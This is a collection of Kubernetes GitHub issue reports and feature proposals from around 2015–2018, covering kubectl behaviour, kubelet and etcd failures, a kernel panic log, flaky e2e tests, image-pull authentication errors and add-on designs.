endpoint  is the only resource that cannot be specified in singular form in kubectl. \r    console\r $ kubectl get endpoint \r error: the server doesn't have a resource type \ endpoint\ \r    \r https://github.com/kubernetes/kubernetes/blob/02611149c181f7fd9ab116c40d7ee32fb5934b7c/pkg/kubectl/kubectl.go l156-l164\r \r is it intended? if so, why?\r \r @kubernetes/sig-cli-maintainers

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r i had execauth enabled in kubeconfig file and also had an expired token for same 'authinfo' user. the command  kubectl get pods  returned  error: you must be logged in to the server  unauthorized  \r \r   what you expected to happen  :\r \r i was hoping the execauth will use the available token, and because it had already expired, will get 401 from api server and then fallback on running external auth command to get new token. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1.  have a kubeconfig file something like this: https://gist.github.com/rajatjindal/5990ba65de7dde00470f5955c0d36fe6  updated with valid values \r 2. run  kubectl get pods \r 3. observe it always return  error: you must be logged in to the server  unauthorized  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r i think eventually we will be asked to add a proto encoding for crds. it's very non-obvious how to do this, so i think we should start talking about it now.\r \r i can think of two approaches off the top of my head:\r 1. require the user to supply a proto spec as part of the crd object.\r 2. add x-proto-field-number extensions to openapi spec documents. require the user to set them in the crd's  validation  field  which we should really rename, but that's another issue .  we'd also have to add type information, or define a strict mapping between the types we express in the spec and proto types. \r \r 1 has the benefit of being very obvious, and probably less work. but i think i prefer 2, because it lets us expose the proto format for built-in types in exactly the same way.\r

it looks nice, retails log fields rather than just strings.  https://github.com/sirupsen/logrus

>  \r \r   what happened  :\r when i run  kubectl get all  persistent volume claims are not listed.  \r \r instead i must run  kubectl get pvc .\r \r    \r $ kubectl -n factorio get all\r name                type       cluster-ip      external-ip   port s           age\r svc/kube-lego-gce   nodeport   xx.xx.xxx.xxx   <none>        8080:32133/tcp   1d\r \r $ kubectl -n factorio get pvc\r name             status    volume                                     capacity   access modes   storageclass   age\r factorio-saves   bound     pvc-xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxx   2g         rwo            standard       10m\r    \r \r   what you expected to happen  :\r \r i expected  kubectl get all  to list all resources.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a persistent volume claim  \r 2. run  kubectl get all \r \r   anything else we need to know?  :\r \r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  :  \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.1\ , gitcommit:\ 75d2af854b1df023c7ce10a8795b85d3dd1f8d37\ , gittreestate:\ clean\ , builddate:\ 2018-05-10t17:23:18z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : arch linux  \r - kernel  e.g.  uname -a  :\r    \r linux katla 4.16.13-1-arch  1 smp preempt thu may 31 23:29:29 utc 2018 x86_64 gnu/linux\r    \r - install tools:\r    \r $ helm version\r client: &version.version{semver:\ v2.9.1\ , gitcommit:\ 20adb27c7c5868466912eebdf6664e7390ebe710\ , gittreestate:\ clean\ }\r server: &version.version{semver:\ v2.9.1\ , gitcommit:\ 20adb27c7c5868466912eebdf6664e7390ebe710\ , gittreestate:\ clean\ }\r    \r - others:\r

  \r such as:\r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/cloudprovider/providers/cloudstack/cloudstack_loadbalancer.go l242\r https://github.com/kubernetes/kubernetes/blob/4bc9e94feec17d1980e733a08699255482d15f4e/pkg/client/chaosclient/chaosclient.go l66

testing containerized kubelet and seeing:      w0611 21:27:27.828300       1 container_manager_linux.go:68   containermanager  failed to ensure docker is in a container: failed to find pid of docker container: exit status 1      this is normal because docker isn't in the pid namespace of the kubelet - but either cadvisor needs to use the same pid namespace escape tricks that the kubelet uses for mounts, or we need to run the kubelet outside of a pid namespace, which makes other things regarding the container much harder.  started with https://github.com/google/cadvisor/issues/770 then @rjnagal explained this was in container-manager.  from rohit  ---  this bit of code is in kubelet. it creates a new cgroup and tries to move docker processes there.  i think the problem is that kubelet is execing pidof docker to find docker processes. in cadvisor, we mount system root at /rootfs and use that to proxy process listing.  kubelet can do the same with chroot /rootfs pidof docker  three lines of change, but needs to go in kubelet :   are the namespaced kubelet changes getting in? i can make the kubelet change if someone is willing to merge it in.  ---  answers no, this was us testing in openshift in preparation for enabling containerized workflows.  not a huge deal on our end, this is mostly for development and kick the tires workflows.

when i run  hack/test-go.sh  with go 1.5, it prints out  please install go version 1.6 or later  and then terminates my ssh session.

if a rolling update fails  for instance, by rolling update to an image that doesn't exist , the new, as of yet unrenamed, rc remains in place.   if you try another rolling update, it will fail because       master  running shell script + /var/lib/jenkins/kubernetes/kubectl-1.2 --kubeconfig=xxx rolling-update xxx --image=xxx/xxx:master-42-e4c7a5b error: found existing in-progress update to image  xxx/xxx . either continue in-progress update with --image=xxx/xxx or rollback with --rollback see 'kubectl rolling-update -h' for help and examples.      two things wrong:   a  the message  either continue in-progress update with --image=xxx/xxx  must be wrong, as that's exactly what we're doing   b  this breaks our continuous delivery pipeline as the only way to recover is for someone to notice, then manually delete the new rc.  kubernetes 1.2.4.

today we build the kube-dns binary from the sources that are in-tree. we do not ship this binary - instead the container is pushed to gcr.io and scheduled on a worker node which pulls it from the gcr container registry.  i wish this was packaged and shipped along with the rest of the master binaries/containers.  potential solution: we host a small docker registry server on the apiserver and when generating the kube-dns rc podspec from template we substitute the image name from  gcr.io/google_containers/<kubedns>  to  <apiserver>/google_containers/<kubedns>   we're already distributing apiserver certs to all nodes today, we can reuse them for the docker registry .  this could also be used for other addon containers.

initially observed this in pr tests: https://github.com/kubernetes/kubernetes/pull/44326 issuecomment-299251676\r then i checked  ci-kubernetes-e2e-gce-etcd3  https://k8s-testgrid.appspot.com/google-gce gce-etcd3  and found that the suite failed ~3 times and day and many of them were caused by the kernel panic.\r \r a few examples:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/9104\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/9104/artifacts/bootstrap-e2e-minion-group-qcn2/serial-1.log\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/9078\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/9078/artifacts/bootstrap-e2e-minion-group-wlm4/serial-1.log \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/9068\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/9068/artifacts/bootstrap-e2e-minion-group-ml5v/serial-1.log\r \r    \r   780.070508  aufs au_opts_verify:1570:docker 19344 : dirperm1 breaks the protection by the permission bits on the lower branch\r may  4 02:50:24 bootstrap-e2e-minion-group-wlm4 kernel:    780.070508  aufs au_opts_verify:1570:docker 19344 : dirperm1 breaks the protection by the permission bits on the lower branch\r    780.111216  bug: unable to handle kernel null pointer dereference at 0000000000000078\r    780.119476  ip:  <ffffffff810a1100>  check_preempt_wakeup+0xd0/0x1d0\r    780.126101  pgd 214722067 pud 20b376067 pmd 0 \r    780.131089  oops: 0000   1  smp \r    780.134721  modules linked in: sg nf_conntrack_netlink nfnetlink xt_statistic sch_htb ebt_ip ebtable_filter ebtables veth ipt_reject xt_nat xt_recent xt_mark xt_comment xt_tcpudp ipt_masquerade iptable_filter iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype ip_tables xt_conntrack x_tables nf_nat nf_conntrack bridge stp llc aufs c  nfsd auth_rpcgss oid_registry nfs_acl nfs lockd fscache sunrpc crct10dif_pclmul crc32_pclmul crc32c_intel psmouse processor parport_pc i2c_piix4 pvpanic parport thermal_sys pcspkr serio_raw evdev i2c_core aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper cryptd virtio_net button ext4 crc16 mbcache jbd2 sd_mod crc_t10dif crct10dif_common virtio_scsi scsi_mod virtio_pci virtio virtio_ring\r    780.210840  cpu: 0 pid: 31766 comm: exe tainted: g         c    3.16.0-4-amd64  1 debian 3.16.39-1\r    780.219923  hardware name: google google compute engine/google compute engine, bios google 01/01/2011\r    780.229261  task: ffff880037bc2b60 ti: ffff880214f5c000 task.ti: ffff880214f5c000\r    780.236875  rip: 0010: <ffffffff810a1100>    <ffffffff810a1100>  check_preempt_wakeup+0xd0/0x1d0\r    780.245919  rsp: 0018:ffff880214f5fe60  eflags: 00010006\r    780.251375  rax: 0000000000000001 rbx: ffff88010053c040 rcx: 0000000000000008\r    780.258632  rdx: 0000000000000001 rsi: ffff880212d20050 rdi: ffff88021fc12fb8\r    780.265891  rbp: 0000000000000000 r08: ffffffff81610640 r09: 0000000000000001\r    780.273149  r10: 0000000000000000 r11: 0000000000000000 r12: ffff880037bc2b60\r    780.280403  r13: ffff88021fc12f40 r14: 0000000000000000 r15: 0000000000000000\r    780.287657  fs:  0000000002826880 0063  gs:ffff88021fc00000 0000  knlgs:0000000000000000\r    780.295866  cs:  0010 ds: 0000 es: 0000 cr0: 0000000080050033\r    780.301732  cr2: 0000000000000078 cr3: 00000001a03f8000 cr4: 00000000001406f0\r    780.308996  stack:\r    780.311128   0000000000012f40 ffff88021fc12f40 0000000000012f40 ffff88021fc12f40\r    780.319185   ffff880212d206d4 0000000000000246 ffff88020a8839c0 ffffffff81095bb5\r    780.327242   ffff880212d20050 ffffffff8109869a 00007fffffffeffd 0000000000000000\r    780.335351  call trace:\r    780.337923    <ffffffff81095bb5>  ? check_preempt_curr+0x85/0xa0\r    780.344058    <ffffffff8109869a>  ? wake_up_new_task+0xda/0x190\r    780.350105    <ffffffff81067a39>  ? do_fork+0x139/0x3d0\r    780.355463    <ffffffff8151b139>  ? stub_clone+0x69/0x90\r    780.360910    <ffffffff8151adcd>  ? system_call_fast_compare_end+0x10/0x15\r    780.367910  code: 39 c2 7d 27 0f 1f 80 00 00 00 00 83 e8 01 48 8b 5b 70 39 d0 75 f5 48 8b 7d 78 48 3b 7b 78 74 15 0f 1f 00 48 8b 6d 70 48 8b 5b 70 <48> 8b 7d 78 48 3b 7b 78 75 ee 48 85 ff 74 e9 e8 8c cb ff ff 48 \r    780.395815  rip   <ffffffff810a1100>  check_preempt_wakeup+0xd0/0x1d0\r    780.402514   rsp <ffff880214f5fe60>\r    780.406122  cr2: 0000000000000078\r    780.410418  ---  end trace 8dfc3fa423bb7378  ---\r    780.415157  kernel panic - not syncing: fatal exception\r    781.471619  shutting down cpus with nmi\r    781.476527  kernel offset: 0x0 from 0xffffffff81000000  relocation range: 0xffffffff80000000-0xffffffff9fffffff \r    781.486828  rebooting in 10 seconds..\r    791.465975  acpi memory or i/o reset_reg.\r    \r the nodes are debian-based cvm instances running docker 1.11.2. i am not sure if this is a known issue.\r \r /cc @kubernetes/sig-node-bugs @dchen1107 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r a version of pr  47262 failed one run of pull-kubernetes-e2e-gce-etcd3 and passed another.  earlier versions also got varied results.  see the whole testing history at https://k8s-gubernator.appspot.com/pr/47262 .\r \r for the 9a64d880 commit, the failed run included this in the build log:\r    \r i0811 01:26:37.551   sig-apps  deployment\r i0811 01:26:37.552  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/framework.go:22\r i0811 01:26:37.552    test deployment replicaset orphaning and adoption regarding controllerref\r i0811 01:26:37.552    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/deployment.go:116\r i0811 01:26:37.552  ------------------------------\r i0811 01:26:39.182   beforeeach   sig-instrumentation  cluster level logging implemented by stackdriver\r i0811 01:26:39.183    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:139\r i0811 01:26:39.183  step: creating a kubernetes client\r i0811 01:26:39.183  aug 11 01:25:36.422: info: >>> kubeconfig: /workspace/.kube/config\r i0811 01:26:39.184  step: building a namespace api object\r i0811 01:26:39.184  step: waiting for a default service account to be provisioned in namespace\r i0811 01:26:39.184   beforeeach   sig-instrumentation  cluster level logging implemented by stackdriver\r i0811 01:26:39.184    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/logging/stackdrvier/basic.go:43\r i0811 01:26:39.184   it  should ingest system logs from all nodes\r i0811 01:26:39.185    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/logging/stackdrvier/basic.go:151\r i0811 01:26:39.185  aug 11 01:25:38.500: info: using the following filter for log entries: resource.type=\ gce_instance\  and  resource.labels.instance_id=7683115974146440037 or resource.labels.instance_id=2309583240800811877 or resource.labels.instance_id=4062923293439605604 or resource.labels.instance_id=6051722915058072421 \r i0811 01:26:39.185  aug 11 01:25:38.872: info: waiting for log sink to become operational\r i0811 01:26:39.185  aug 11 01:25:41.835: info: sink e2e-tests-sd-logging-fql29 is operational\r i0811 01:26:39.185  step: waiting for some system logs to ingest\r i0811 01:26:39.185  aug 11 01:26:10.358: info: failed to parse stackdriver logentry: failed to deserialize jsonpayload as json object \r i0811 01:26:39.186  aug 11 01:26:14.401: info: failed to parse stackdriver logentry: failed to deserialize jsonpayload as json object \r i0811 01:26:39.186   aftereach   sig-instrumentation  cluster level logging implemented by stackdriver\r i0811 01:26:39.186    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:140\r i0811 01:26:39.186  aug 11 01:26:22.447: info: waiting up to 3m0s for all  but 0  nodes to be ready\r i0811 01:26:39.186  step: destroying namespace \ e2e-tests-sd-logging-fql29\  for this suite.\r i0811 01:26:39.186  aug 11 01:26:39.111: info: namespace: e2e-tests-sd-logging-fql29, resource: bindings, ignored listing per whitelist\r i0811 01:26:39.186  aug 11 01:26:39.181: info: namespace e2e-tests-sd-logging-fql29 deletion completed in 16.72184701s\r ... skipping 116 lines ...\r i0811 01:26:49.630  aug 11 01:24:57.002: info: waiting for pod ss-0 to enter running - ready=false, currently pending - ready=false\r i0811 01:26:49.631  aug 11 01:25:07.029: info: waiting for pod ss-0 to enter running - ready=false, currently pending - ready=false\r i0811 01:26:49.631  aug 11 01:25:17.021: info: waiting for pod ss-0 to enter running - ready=false, currently running - ready=false\r i0811 01:26:49.631  aug 11 01:25:17.021: info: resuming stateful pod at index 0\r i0811 01:26:49.631  aug 11 01:25:17.049: info: running '/workspace/kubernetes/platforms/linux/amd64/kubectl --server=https://35.192.220.105 --kubeconfig=/workspace/.kube/config exec --namespace=e2e-tests-statefulset-pmwxv ss-0 -- /bin/sh -c touch /tmp/statefulset-continue'\r i0811 01:26:49.631  aug 11 01:25:48.319: info: rc: 127\r i0811 01:26:49.631  aug 11 01:25:48.319: info: unexpected error occurred: error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.192.220.105 --kubeconfig=/workspace/.kube/config exec --namespace=e2e-tests-statefulset-pmwxv ss-0 -- /bin/sh -c touch /tmp/statefulset-continue      <nil>  error from server: error dialing backend: dial tcp 10.128.0.4:10250: getsockopt: connection refused\r i0811 01:26:49.631      <nil> 0xc420fd2990 exit status 1 <nil> <nil> true  0xc4213a62a0 0xc4213a62b8 0xc4213a62d0   0xc4213a62a0 0xc4213a62b8 0xc4213a62d0   0xc4213a62b0 0xc4213a62c8   0x11bfd50 0x11bfd50  0xc420d01c80 <nil>}:\r i0811 01:26:49.632  command stdout:\r i0811 01:26:49.632  \r i0811 01:26:49.632  stderr:\r i0811 01:26:49.632  error from server: error dialing backend: dial tcp 10.128.0.4:10250: getsockopt: connection refused\r i0811 01:26:49.632  \r i0811 01:26:49.632  error:\r i0811 01:26:49.632  exit status 1\r    \r \r it is worth noting that the build log also showed 6 minutes earlier that all the nodes were up:\r    \r i0811 01:20:15.654  found 5 node s .\r i0811 01:20:15.835  name                          status                     age       version\r i0811 01:20:15.836  e2e-46505-master              ready,schedulingdisabled   59s       v1.8.0-alpha.2.1702+e5a191d32a17b4\r i0811 01:20:15.836  e2e-46505-minion-group-1jzp   ready                      34s       v1.8.0-alpha.2.1702+e5a191d32a17b4\r i0811 01:20:15.836  e2e-46505-minion-group-2nfk   ready                      43s       v1.8.0-alpha.2.1702+e5a191d32a17b4\r i0811 01:20:15.836  e2e-46505-minion-group-g4dk   ready                      39s       v1.8.0-alpha.2.1702+e5a191d32a17b4\r i0811 01:20:15.836  e2e-46505-minion-group-qqjs   ready                      34s       v1.8.0-alpha.2.1702+e5a191d32a17b4\r    \r \r and  artifacts/nodes.yaml  showed that e2e-46505-minion-group-qqjs had address 10.128.0.4.\r \r \r   what you expected to happen  :\r consistent test results for a given commit.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i have no good suggestion here.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

on request by @jdumars and the @kubernetes/kubernetes-release-managers, i'm creating this tracking issue for the kubernetes/kubeadm repo.\r \r i'm tracking what we need to get done for kubeadm to be in a release-able state in this milestone: https://github.com/kubernetes/kubeadm/milestone/3\r \r on a high level, all required prs are lgtm'd, they will be merged in the coming days as the sq gets to them.\r there will be lots of work with testing now that the v1.8-specific tests are set up.\r \r actions required by the release team or vice versa will be communicated via this channel.\r when all the kubeadm tasks are done, we can close this meta-issue.\r \r sounds good to you?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i run kubernetes cluster 1.7.5  seen in older versions as well and tested in 1.7.9 as well  on azuregermancloud.  k8s is provisioned via resource manager template created by  acs-engine  . when it comes to pod deployment, several images will be pulled from one dedicated aws ec2 container service. to be able to login there, i use  aws ecr get-login  ...   to get login credentials and provide them as a k8s  docker-registry  secret to a dedicated kubernetes namespace, in which i deploy my applications. usually, it perfectly works, but   sporadically  , i end up with different deployments to fail in this manner: \r \r     warning  failed      4m  x17 over 1h    kubelet, k8s-agentpool1-41067869-0  failed to pull image \ urltoawsec2/some_image:tag\ : rpc error: code = 2 desc = unauthorized: authentication required\r     warning  failedsync  4s  x302 over 1h   kubelet, k8s-agentpool1-41067869-0  error syncing pod\r     normal   backoff     4s  x285 over 1h   kubelet, k8s-agentpool1-41067869-0  back-off pulling image \ urltoawsec2/some_image:tag\ \r \r it seems to happen randomly. there is no change to registry url or image's names. too, the image's tag has no influence on behavior  could be  latest  as well as custom one . sometimes only one image can't be pulled, another day another image or even multiple can't be pulled. i can't see a pattern. local docker pulling works like a charm, that's why i guess, this is not an issue on aws side. there is no change when recreating secrets, individually, delete affected pods and deployments or even tear down and re-provision whole kubernetes cluster.\r what could i check? how could i debug that deeper?\r  \r   what you expected to happen  :\r work always\r \r   how to reproduce it  as minimally and precisely as possible   :\r reproducing can't be forced. it's happening, randomly. however, i'm experiencing this since a while, but usually it was magically disappearing. first exception is this week, as i've got issues with same image since yesterday. \r 1. bootstrap kubernetes\r 2. get secret with login credentials for  ec2 container service  in place\r 3. deploy pods  kubectl apply -f somefile.yaml \r \r   anything else we need to know?  :\r no idea what, please ask.

gce pds are allocated in chunks of gbs  not gib  but  createvolume  function incorrectly creates volume in chunks of gib -  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/gce_pd/gce_util.go l86\r \r cc @msau42 \r \r  @kubernetes/sig-storage-pr-reviews

it should be possible to update an entity and record events about interesting changes in a transactional fashion.  for example at the moment:      events = compare_entity_changes old_entity, new_entity  record_events events  update_entity old_entity, new_entity       which means that if the controllers are crashing between record_event and update_entity the event s  are recorded but the entity is not updated, leading to the re-generation of the same events once the controller is up again.  it should be possible to records the events and update the entity in an transactional all-or-nothing fashion.  obviously this can be extended to any type of entity transaction  not just event recordings .  @bgrant0607 maybe  2904 is needed to actually do anything about this issue. correct? are you using any other strategy for transactions in the current code?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r intermittently, after successfully deleting a pod with --force and --grace-period=0, the command never returns and must be ctrl+c exited.\r \r machine: > kubectl delete pod --force --grace-period=0 some_pod\r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r pod \ some_pod\  force deleted\r < much time passes >\r \r   anything else we need to know?  :\r this seems to have started only in recent  past month  versions.  i've experienced it on four different machines and clusters. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-18t11:37:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r  aws\r \r - os  e.g. from /etc/os-release :\r darwin/osx  on both apple hardware and, ah, hackintosh versions. \r \r - kernel  e.g.  uname -a  :\r darwin xx.lan 17.7.0 darwin kernel version 17.7.0: thu jun 21 22:53:14 pdt 2018; root:xnu-4570.71.2~1/release_x86_64 x86_64\r \r - install tools:\r homebrew\r \r

i've been trying to set up a k8s lab cluster to play with,  3x vms .. however my goal is to not only to learn about how k8s works but to play with ha.. so far i'm having a lot of trouble getting this to work reliably  more like -at-all- \r \r i'm following the instructions here: https://kubernetes.io/docs/setup/independent/high-availability/ stacked-control-plane-nodes\r \r trying to boot strap the first node goes fine, when i bootstrap the second node, after i do the final step for the second node\r >   kubeadm alpha phase mark-master --config kubeadm-config.yaml\r \r the cluster becomes unresponsive and never recovers\r \r as i'm running this on-prem  so i don't have a cloud-provided lb to use in front of the set of apiserver instances .. i'm using 3 vms and i'm trying to make the whole setup self-encapsulated, by using keepalived & nginx to load balance between the instances; with this pair of processes running on each of the 3 master hosts.\r \r the idea would be if one vm went offline, another would take up the vip  managed by keepalived  and the nginx proc on the live host would proxy between the apiservers that are up from that vip.  i'm also asking  via a kubeadm-config.yaml setting  that the bind-address that apiserver uses only be the non-vip one  otherwise it defaults to listening on all interfaces, including the vip which then prevents nginx from listening on .\r \r the problem i'm encountering, i believe  this is just my hypothesis here , is that the apiserver continually restarts on both nodes  and i can't set up the third as i can't get past this point  because it can't listen to etcd.. and etcd won't start because it can't reach the other etcd service  presumably because the apiservers are down .\r \r as a result, kubectl is unusable  as i understand it, because it requires access to a working apiserver .\r \r     symptoms: \r my container keeps exiting, apiserver doesn't come up\r \r   node1  :\r    \r container id        image                  command                  created             status                          ports               names\r 09284317d910        816332bd9d11           \ kube-apiserver --...\    2 minutes ago       exited  255  2 minutes ago                          k8s_kube-apiserver_kube-apiserver-k8lab1bs_kube-system_081ec27efc0b35ed\r 146569accec08087_34\r 52f2a73236fc        b8df3b177be2           \ etcd --advertise-...\    2 minutes ago       exited  2  about a minute ago                       k8s_etcd_etcd-k8lab1bs_kube-system_93479d625ad55b58f017b88b94784bce_36\r    \r \r   node2  :\r    \r container id        image                  command                  created              status                            ports               names\r 793aacf6a863        816332bd9d11           \ kube-apiserver --...\    about a minute ago   exited  255  about a minute ago                       k8s_kube-apiserver_kube-apiserver-k8lab2bs_kube-system_a6852a9b219e2\r 344628d203edf53c789_170\r    \r   _ no etcd container seen started _  \r \r     log entries\r   node1-apiserver error condition  last message in the containers log :  \r > f0726 09:25:39.494561       1 storage_decorator.go:57  unable to create storage backend: config  &{ /registry  https://127.0.0.1:2379  /etc/kubernetes/pki/apiserver-etcd-client.key /etc/kubernetes/pki/apiserver-\r etcd-client.crt /etc/kubernetes/pki/etcd/ca.crt true false 1000 0xc4202ce080 <nil> 5m0s 1m0s} , err  context deadline exceeded \r \r   node1-etcd non-info messages:  \r > 2018-07-26 09:26:25.076385 e | etcdserver: publish error: etcdserver: request timed out\r > 2018-07-26 09:26:26.098641 w | rafthttp: health check for peer b7264b6635e81deb could not connect: dial tcp 10.12.100.132:2380: getsockopt: connection refused\r \r   node2-apiserver error condition  last message in the container logs :  \r > f0726 09:27:39.945908       1 storage_decorator.go:57  unable to create storage backend: config  &{ /registry  https://127.0.0.1:2379  /etc/kubernetes/pki/apiserver-etcd-client.key /etc/kubernetes/pki/apiserver-\r etcd-client.crt /etc/kubernetes/pki/etcd/ca.crt true false 1000 0xc42028ac80 <nil> 5m0s 1m0s} , err  dial tcp 127.0.0.1:2379: connect: connection refused \r \r     question/proposed solution?\r is there a way to get the etcd container up  on the 2nd node  without relying on the apiserver/kubectl ? maybe that would get it 'unstuck' in this situation ? \r \r -- unless there's something else i'm missing here --  i'm new to kubernetes in general, but so far setting up ha seems pretty brittle, granted there are 'alpha' labeled commands i have to run :- \r \r   environment  :\r - kubernetes version  use  kubectl version  \r > client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }:\r - cloud provider or hardware configuration:\r > 3 x qemu-kvm virtual systems  4 vcpu's and 16gb ram each \r - os  e.g. from /etc/os-release :\r > centos 7.5\r - kernel  e.g.  uname -a  :\r > 3.10.0-862.9.1.el7.x86_64\r - install tools:\r > kubeadm\r \r sig label:\r @kubernetes/sig-api-machinery-bugs\r 

we should use daemonset to deploy fluentd, and maybe also kube-proxy and kube-registry-proxy.  issues: - what creates daemons-sets?  kube-up.sh or kube-addons.sh? - upgrading  - upgrading across an api version change  daemonset graduates out of experimental  - upgrading getting started guides to the new plan.  when to do this, given that we may modify the daemonset api based on experience. - presumably we start with gce.   when is it ready for gke?   - node upgrades on gke were separated into two steps.  with this change, 3 steps: update master, update managed node components  daemonsets , upgrade base node software  user does this .  benefits: - deletes some salt config, make all getting-started guides more similar. - less differences between different getting-started-guides. - automated update of more software components on gke

is this a bug report or feature request?  :\r   \r \r   what happened  :\r now linux coredump doesn't support namespace.\r so all containers in kubelet node share the same /proc/sys/kernel/core/core_pattern kernel parameter. coredump files from differnet pods/namespaces/users have to share the same core_pattern kernel parameter.\r   what you expected to happen  :\r coredump files from different namespaces should be isolated. and users should be able to download their coredump files.\r \r now we are planning to design a new  add-on  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons \r this add-on run as a privileged daemonset in each node. it will wirte the /proc/sys/kernel/core/core_pattern.\r $ echo \ |/var/bin/my_coredump_detector %p %p %t\  > /proc/sys/kernel/core/core_pattern\r the my_coredump_detector program will communicate with kube-apiserver to see where should the coredump files put. then users can download their own coredump files.\r the architure:\r ! default  https://user-images.githubusercontent.com/20855209/28098661-293ac1be-66ea-11e7-90a4-153daf7fede0.png \r

createdbyannotation  will be  deprecated  https://github.com/kubernetes/kubernetes/issues/44407  in v1.8 and be removed in v1.9, in favor of  controllerref .\r \r

